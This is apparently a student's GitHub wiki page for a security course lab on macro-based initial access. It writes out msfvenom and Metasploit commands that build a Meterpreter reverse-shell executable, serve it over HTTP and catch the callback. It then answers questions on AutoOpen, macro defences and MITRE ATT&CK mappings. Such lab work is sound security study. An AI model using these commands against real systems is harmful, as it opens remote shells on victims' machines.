Week 5 ‐ Initial Access and Execution (Task 1) - sophialevasseur/SEC-335 GitHub Wiki
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<KALI_IP> LPORT=6666 -f exe > RAT.execd ~/Desktoppython3 -m http.server 8000
msfconsole -quse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset LHOST 10.0.17.49set LPORT 6666exploit -j
sessions -k 1
- A video showing the VBA editor with your macro code being pasted
- A video of the macro executing and the download occurring
- A video of the Meterpreter session being established in Metasploit
- An explanation of how this macro achieves code execution, and the MITRE ATT&CK technique ID.
- Why is the "AutoOpen" macro name significant?
- The AutoOpen macro name is significant because it automatically runs after you open a document.
- What defensive measures can organizations implement to block macro-based attacks?
- Deactivating default macros that are not needed
- Make sure that users can't re-enable macros that were manually turned off
- Macro privileges
- Ensure macros can't contain sensitive information
- MTIRE ATT&CK technique ID:
| Step | Technique | MTIRE ATT&CK ID |
|---|---|---|
| Macro Execution | Spearphishing | T1566.001 |
| Payload Download | Ingress Tool Transfer | T1105 |
| Execution via Office Macro | User execution: malicious files | T1204.002 |
| WScript.Shell Execution | command and scripting interpreter | T1059 |
| Writing to Documents Folder | Hide artifacts | T1564 |